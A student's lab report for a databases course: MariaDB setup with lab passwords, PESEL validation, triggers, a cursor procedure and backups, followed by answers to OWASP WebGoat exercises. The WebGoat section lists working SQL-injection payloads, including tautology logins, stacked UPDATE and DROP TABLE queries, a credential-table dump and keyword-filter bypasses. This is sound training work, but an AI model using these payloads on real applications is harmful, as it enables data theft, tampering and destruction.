Lab 3

Rafał Włodarczyk

2024-12-03

MariaDB Setup:

```
services:
  mariadb:
    image: mariadb:latest
    container_name: mariadb-container
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: db2024
      MYSQL_USER: rafisto
      MYSQL_PASSWORD: rafistopassword
    volumes:
      - db_data:/var/lib/mysql

    ports:
      - "3306:3306"
    networks:
      - mariadb-network

volumes:
  db_data:

networks:
  mariadb-network:
    driver: bridge
```

```
# Maintenance

## Up DB
docker compose up -d
## Down DB
docker compose down && docker volume rm lista3_db_data

# Execution

## Root user
docker exec -it mariadb-container mariadb -D db2024 -u root -prootpassword
```

Solves (must sum to 20)

Exercise 1 (5)

Utwórz nową bazę danych o dowolnej nazwie a w niej tabele:

- Ludzie (PESEL: char(11), imie: varchar(30), nazwisko: varchar(30), data_urodzenia: date, plec: enum('K', 'M'))
- Zawody (zawod*id: int, nazwa: varchar(50), pensja_min: float, pensja* max: float)
- Pracownicy (PESEL: char(11), zawod_id: int, pensja: float)

Tworzę bazę `db2024` oraz tabele `Ludzie`, `Zawody` and `Pracownicy`:

```
USE db2024;

-- ValidatePesel function
DELIMITER $$
CREATE FUNCTION ValidatePESEL(pesel CHAR(11))
RETURNS BOOLEAN
DETERMINISTIC
BEGIN
    -- Check if the input is exactly 11 digits
    IF LENGTH(pesel) != 11 OR pesel NOT REGEXP '^[0-9]{11}$' THEN
        RETURN FALSE;
    END IF;

    -- Define weights and initialize checksum
    SET @weights = '1379137913';
    SET @checksum = 0;

    -- Calculate checksum
    SET @i = 1;
    WHILE @i <= 10 DO
        SET @checksum = @checksum +
            (CAST(SUBSTRING(pesel, @i, 1) AS UNSIGNED) *
             CAST(SUBSTRING(@weights, @i, 1) AS UNSIGNED));
        SET @i = @i + 1;
    END WHILE;
```

```
    SET @checksum = (10 - (@checksum MOD 10)) MOD 10;

    -- Compare calculated checksum with the last digit of PESEL
    IF @checksum = CAST(SUBSTRING(pesel, 11, 1) AS UNSIGNED) THEN
        RETURN TRUE;
    ELSE
        RETURN FALSE;
    END IF;
END$$
DELIMITER ;

-- Ludzie (PESEL: char(11), imie: varchar(30), nazwisko: varchar(30),
-- data_urodzenia: date, plec: enum('K', 'M'))

CREATE TABLE Ludzie (
    PESEL CHAR(11) PRIMARY KEY,
    imie VARCHAR(30) NOT NULL,
    nazwisko VARCHAR(30) NOT NULL,
    data_urodzenia DATE NOT NULL,
    plec ENUM('K', 'M') NOT NULL
);

-- PESEL jest zdefiniowany jako `char(11)`. Należy dopisać funkcje
sprawdzającą poprawność numeru PESEL.
-- Trigger to validate the PESEL number
-- on insert into Ludzie table

DELIMITER $$
CREATE TRIGGER ValidatePESELTrigger
BEFORE INSERT ON Ludzie
FOR EACH ROW
BEGIN
    DECLARE isValid INT;
    SET isValid = ValidatePESEL(NEW.PESEL);
    IF isValid = FALSE THEN
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Invalid PESEL';
    END IF;
END$$
DELIMITER ;

-- Zawody (zawod_id: int, nazwa: varchar(50), pensja_min: float,
-- pensja_ max: float)

-- Dopilnuj, by nie można było wprowadzić także ujemnych wartości
liczbowych do bazy oraz aby pensja_min < pensja_max.

CREATE TABLE Zawody (
    zawod_id INT PRIMARY KEY AUTO_INCREMENT,
    nazwa VARCHAR(50),
    pensja_min FLOAT CHECK (pensja_min >= 0),
    pensja_max FLOAT CHECK (pensja_max > pensja_min)
);
```

```
-- Pracownicy (PESEL: char(11), zawod_id: int, pensja: float)

CREATE TABLE Pracownicy (
    id INT AUTO_INCREMENT,
    PESEL char(11),
    zawod_id int,
    pensja float CHECK (pensja >= 0),
    PRIMARY KEY (id, PESEL), -- pracownik może mieć zatrudniony w wielu
branżach
    FOREIGN KEY (PESEL) REFERENCES Ludzie(PESEL),
    FOREIGN KEY (zawod_id) REFERENCES Zawody(zawod_id)
);

-- Trigger to validate if pensja is in range of pensja_min and pensja_max
in Zawody table
-- on insert into Pracownicy table

DELIMITER $$
CREATE TRIGGER ValidatePensjaTrigger
BEFORE INSERT ON Pracownicy
FOR EACH ROW
BEGIN
    DECLARE minPensja float;
    DECLARE maxPensja float;

    SELECT pensja_min, pensja_max INTO minPensja, maxPensja
    FROM Zawody
    WHERE zawod_id = NEW.zawod_id;

    IF NEW.pensja < minPensja OR NEW.pensja > maxPensja THEN
        SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Pensja is out of
range';
    END IF;
END$$
DELIMITER ;
```

Czy dobrym pomysłem jest stosowanie nr PESEL jako klucza? Jeżeli uważasz, że nie, popraw to.

```
PESEL jako klucz jest dobrym pomysłem, ponieważ jest to unikalny numer
identyfikacyjny dla każdej osoby w Polsce.
```

Do tabeli Ludzie wprowadź informacje na temat:

- 5 osób niepełnoletnich
- 45 osób pełnoletnich, ale mających zarazem mniej niż 60 lat oraz
- 5 osób w wieku co najmniej 60 lat.

```
-- bad pesel
INSERT INTO Ludzie (PESEL, imie, nazwisko, data_urodzenia, plec) VALUES
```

```
("00000000001", "Jan", "Kowalski", "2000-01-01", "M");

-- niepelnoletni (urodzeni w 2020 roku)
INSERT INTO Ludzie (PESEL, imie, nazwisko, data_urodzenia, plec) VALUES
("20250352229", "Jan", "Kowalski", "2020-01-01", "M"),
("20240988645", "Anna", "Nowak", "2020-02-02", "K"),
("20210665727", "Piotr", "Wiśniewski", "2020-03-03", "M"),
("20290314391", "Zofia", "Dąbrowska", "2020-04-04", "K"),
("20241092938", "Maria", "Lewandowska", "2020-05-05", "K");

-- pelnoletni (mniej niz 60 lat)
INSERT INTO Ludzie (PESEL, imie, nazwisko, data_urodzenia, plec) VALUES
("97041719691", "Adam", "Nowak", "1997-04-17", "M"),
("91091646426", "Ewa", "Kowalska", "1991-09-16", "K"),
("96110957767", "Piotr", "Wiśniewski", "1996-11-09", "M"),
("90012218753", "Anna", "Wójcik", "1990-01-22", "K"),
("92112662672", "Marek", "Kowalczyk", "1992-11-26", "M"),
("96123193569", "Katarzyna", "Kamińska", "1996-12-31", "K"),
("99041958393", "Tomasz", "Lewandowski", "1999-04-19", "M"),
("98112451423", "Agnieszka", "Zielińska", "1998-11-24", "K"),
("96081447663", "Paweł", "Szymański", "1996-08-14", "M"),
("98012855439", "Monika", "Woźniak", "1998-01-28", "K"),
("97071114468", "Łukasz", "Dąbrowski", "1997-07-11", "M"),
("90112354171", "Joanna", "Kozłowska", "1990-11-23", "K"),
("98041188535", "Michał", "Jankowski", "1998-04-11", "M"),
("90052587741", "Magdalena", "Mazur", "1990-05-25", "K"),
("90102676254", "Rafał", "Krawczyk", "1990-10-26", "M"),
("92072765217", "Dorota", "Piotrowska", "1992-07-27", "K"),
("94070719854", "Grzegorz", "Grabowski", "1994-07-07", "M"),
("95071995571", "Sylwia", "Pawlak", "1995-07-19", "K"),
("90110243295", "Krzysztof", "Michalski", "1990-11-02", "M"),
("94052393539", "Beata", "Nowicka", "1994-05-23", "K"),
("90101783542", "Wojciech", "Adamczyk", "1990-10-17", "M"),
("95122189245", "Alicja", "Dudek", "1995-12-21", "K"),
("94062483824", "Sebastian", "Zawadzki", "1994-06-24", "M"),
("93031773427", "Natalia", "Sikora", "1993-03-17", "K"),
("94081265379", "Patryk", "Ostrowski", "1994-08-12", "M"),
("93060393849", "Karolina", "Baran", "1993-06-03", "K"),
("90052491895", "Jakub", "Szulc", "1990-05-24", "M"),
("96011273346", "Paulina", "Włodarczyk", "1996-01-12", "K"),
("99082898469", "Mateusz", "Chmielewski", "1999-08-28", "M"),
("91050821969", "Ewelina", "Borkowska", "1991-05-08", "K"),
("95040334912", "Dariusz", "Sokołowski", "1995-04-03", "M"),
("98070141424", "Izabela", "Szczepańska", "1998-07-01", "K"),
("96032435143", "Artur", "Sawicki", "1996-03-24", "M"),
("91030219823", "Agnieszka", "Kucharska", "1991-03-02", "K"),
("98030447397", "Marcin", "Lis", "1998-03-04", "M"),
("92122491837", "Edyta", "Maciejewska", "1992-12-24", "K"),
("95011717449", "Bartłomiej", "Kubiak", "1995-01-17", "M"),
("98082088562", "Justyna", "Wilk", "1998-08-20", "K"),
("93072016617", "Adrian", "Wysocki", "1993-07-20", "M"),
("91032717619", "Klaudia", "Kaźmierczak", "1991-03-27", "K"),
("94093092653", "Radosław", "Czarnecki", "1994-09-30", "M"),
("91102544116", "Aneta", "Andrzejewska", "1991-10-25", "K"),
```

```
("93102317912", "Mariusz", "Malinowski", "1993-10-23", "M"),
("96100293475", "Renata", "Jaworska", "1996-10-02", "K"),
("98122116679", "Kamil", "Głowacki", "1998-12-21", "M");

-- osoby w wieku co najmniej 60 lat
INSERT INTO Ludzie (PESEL, imie, nazwisko, data_urodzenia, plec) VALUES
("59051417482", "Zbigniew", "Stępień", "1960-01-01", "M"),
("56051581599", "Helena", "Kwiatkowska", "1959-02-02", "K"),
("50071829279", "Janusz", "Wróbel", "1958-03-03", "M"),
("52101913383", "Barbara", "Górska", "1957-04-04", "K"),
("54030592833", "Andrzej", "Król", "1956-05-05", "M");
```

Tabelę zawody uzupełnij zawodami - polityk, nauczyciel, lekarz, informatyk wraz z odpowiednimi widełkami pensji.

```
-- bad zawod (pensja_min > pensja_max)
INSERT INTO Zawody (zawod_id, nazwa, pensja_min, pensja_max) VALUES
(1, "Polityk", 10000, 1000);

-- ERROR 4025 (23000): CONSTRAINT `Zawody.pensja_max` failed for
`db2024`.`Zawody`

--
INSERT INTO Zawody (zawod_id, nazwa, pensja_min, pensja_max) VALUES
(1, "Polityk", 1000, 10000),
(2, "Nauczyciel", 2000, 3000),
(3, "Lekarz", 10000, 28000),
(4, "Informatyk", 6000, 35000);
```

Następnie, z wykorzystaniem kursora na tabeli Ludzie, przypisz każdej pełnoletniej osobie zawód (wraz z odpowiednią pensją) i uzupełnij tabelę Pracownicy. (Uwaga: zadbaj o to, aby żaden lekarz płci męskiej nie był starszy niż 65 lat, a żaden lekarz płci żeńskiej nie był starszy niż 60 lat).

```
DELIMITER $$
CREATE OR REPLACE PROCEDURE AddEmployees()
BEGIN
    -- Deklaracje zmiennych dla kursora
    DECLARE done INT DEFAULT FALSE;
    DECLARE t_pesel CHAR(11);
    DECLARE t_birthdate DATE;
    DECLARE t_gender ENUM('K', 'M');
    DECLARE t_age INT;
    DECLARE random_profession_id INT;
    DECLARE min_salary FLOAT;
    DECLARE max_salary FLOAT;
    DECLARE rnd_salary FLOAT;

    DECLARE ludzie_cursor CURSOR FOR
        SELECT PESEL, data_urodzenia, plec
```

```
        FROM Ludzie
        WHERE DATEDIFF(CURDATE(), data_urodzenia) / 365.25 >= 18;

    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;

    OPEN ludzie_cursor;

    ludzie_loop: LOOP
        IF done THEN
            LEAVE ludzie_loop;
        END IF;

        -- Pobierz dane osoby z kursora
        FETCH ludzie_cursor INTO t_pesel, t_birthdate, t_gender;

        -- Oblicz wiek osoby
        SET t_age = FLOOR(DATEDIFF(CURDATE(), t_birthdate) / 365.25);

        -- Wybierz losowy zawód
        REPEAT
            SELECT zawod_id, pensja_min, pensja_max
            INTO random_profession_id, min_salary, max_salary
            FROM Zawody
            ORDER BY RAND()
            LIMIT 1;

            -- Jeśli zawód to lekarz, sprawdź dodatkowe warunki wiekowe
            IF (random_profession_id = (SELECT zawod_id FROM Zawody WHERE
nazwa = 'Lekarz')) THEN
                IF (t_gender = 'M' AND t_age > 65) OR (t_gender = 'K' AND
t_age > 60) THEN
                    SET random_profession_id = NULL;
                END IF;
            END IF;
        UNTIL random_profession_id IS NOT NULL END REPEAT;

        -- Wylosuj pensję w widełkach dla danego zawodu
        SET rnd_salary = min_salary + RAND() * (max_salary - min_salary);

        -- Wstaw dane do tabeli `Pracownicy`
        IF NOT EXISTS (
            SELECT 1 FROM Pracownicy
            WHERE PESEL = t_pesel
        ) THEN
            INSERT INTO Pracownicy (PESEL, zawod_id, pensja)
            VALUES (t_pesel, random_profession_id, rnd_salary);
        END IF;

    END LOOP;

    -- Zamknij kursor
    CLOSE ludzie_cursor;
END $$
DELIMITER ;
```

```
CALL AddEmployees();
```

Exercise 4 (2) - prepare execute

```
PREPARE WomenNumberByProfession FROM
    "SELECT COUNT(*) AS liczba_kobiet
     FROM Pracownicy p
     JOIN Ludzie l ON p.PESEL = l.PESEL
     JOIN Zawody z ON p.zawod_id = z.zawod_id
     WHERE l.plec = 'K' AND z.nazwa = ?";

SET @nazwa_zawodu = 'Lekarz';
EXECUTE WomenNumberByProfession USING @nazwa_zawodu;

DEALLOCATE PREPARE WomenNumberByProfession;
```

Exercise 5 (4) - backup

Mariadb-dump

1. Wykonaj backup bazy danych db2024 do pliku `db2024.sql`.

```
docker exec -it mariadb-container mariadb-dump --routines --triggers -u
root -prootpassword db2024 > init.sql
```

2. Usuń bazę

```
docker compose down && docker volume rm lista3_db_data
```

1. Przywróć bazę

```
docker compose up -d
```

mariabackup

1. Wykonaj backup bazy danych db2024 do katalogu `/backup`.

```
docker exec -it mariadb-container mariabackup --backup --user=root --
password=rootpassword --target-dir=/backup
```

2. Ubij kontener z bazą danych.

```
docker compose down && docker volume rm lista3_db_data
```

3. Przywróć bazę z backupu.

```
docker compose up -d
docker exec -it mariadb-container bash
service mariadb stop
# mariadb-admin --user=root shutdown #
https://mariadb.com/docs/server/service-management/operations/start-stop-
status/
rm -r /var/lib/mysql
mariabackup --prepare --target-dir=/backup
mariabackup --user=root --password=rootpassword --copy-back --target-
dir=/backup
chown -R mysql:mysql /var/lib/mysql/
service mariadb start
docker compose restart mariadb
```

Jaka jest różnica między backupem pełnym a różnicowym?

```
Backup pełny uwzględnia zrzucenie wszystkich danych z bazy, natomiast
backup róznicowy dodaje inkrementalnie zmiany od ostatniego backupu.
Standardowy tooling do snapshotów PVC typu kopia/restic pozwala na
tworzenie kolejnych backupów różnicowych na sobie.
```

Exercise 6

WebGoat OWASP

Visit and do exercises on: https://github.com/WebGoat/WebGoat/

Run via:

```
# run basic
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090
webgoat/webgoat
# run with complete KasmVNC
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```

Intro (2)

Navigate to http://localhost:8080/WebGoat/login and register as `admin1::admin1`.

ex2.

```
SELECT department FROM Employees WHERE first_name LIKE '%Bob%';
```

ex3.

```
UPDATE Employees SET department = 'Sales' WHERE first_name = 'Tobi' AND
last_name = 'Barnett';
```

ex4.

```
ALTER TABLE employees ADD COLUMN phone VARCHAR(20);
```

ex5.

```
GRANT ALL ON grant_rights TO unauthorized_user;
```

ex9.

```
-- '
-- or
-- '1'='1
SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1'
= '1'
```

ex10.

```
-- login_count: 2
-- user_id: 2 OR 1=1
SELECT * From user_data WHERE Login_Count = 2 and userid= 2 OR 1 = 1
```

ex11.

```
-- Employee Name: "
-- Authentication TAN: "' OR 1=1--
```

ex12.

```
-- Employee Name: "
-- Authentication TAN: "';UPDATE employees SET salary=100000 WHERE
first_name='John' AND last_name='Smith';--
```

ex13.

```
"'; DROP TABLE access_log;--
```

Advanced (4)

ex3.

```
-- dump table
'; SELECT userid, user_name, password, cookie, null, null, null FROM
user_system_data; --
-- dave password is: passWOrD
```

ex5.

```
-- in the registration form
Tom'; UPDATE SQL_CHALLENGE_USERS set PASSWORD = 'pwd' WHERE USERID = 'tom';
--
```

ex6.

```

```

Mitigation (4)

ex5.

```
getConnection
PreparedStatement statement
prepareStatement
?
?
statement.setString(1,"1");
statement.setString(2,"2");
```

ex6.

```
try {
    Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
    PreparedStatement statement = conn.prepareStatement("SELECT status FROM
users WHERE name=? AND mail=?");
    statement.setString(1, "name");
    statement.setString(2, "mail");
    statement.executeUpdate();
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}
```

ex9

```
a';/**/select/**/*/**/from/**//**/user_system_data;--
```

ex10

```
a';/**/seselectlect/**/*/**/frfromom/**/user_system_data;--
```

ex12

```
104.130.219.202
```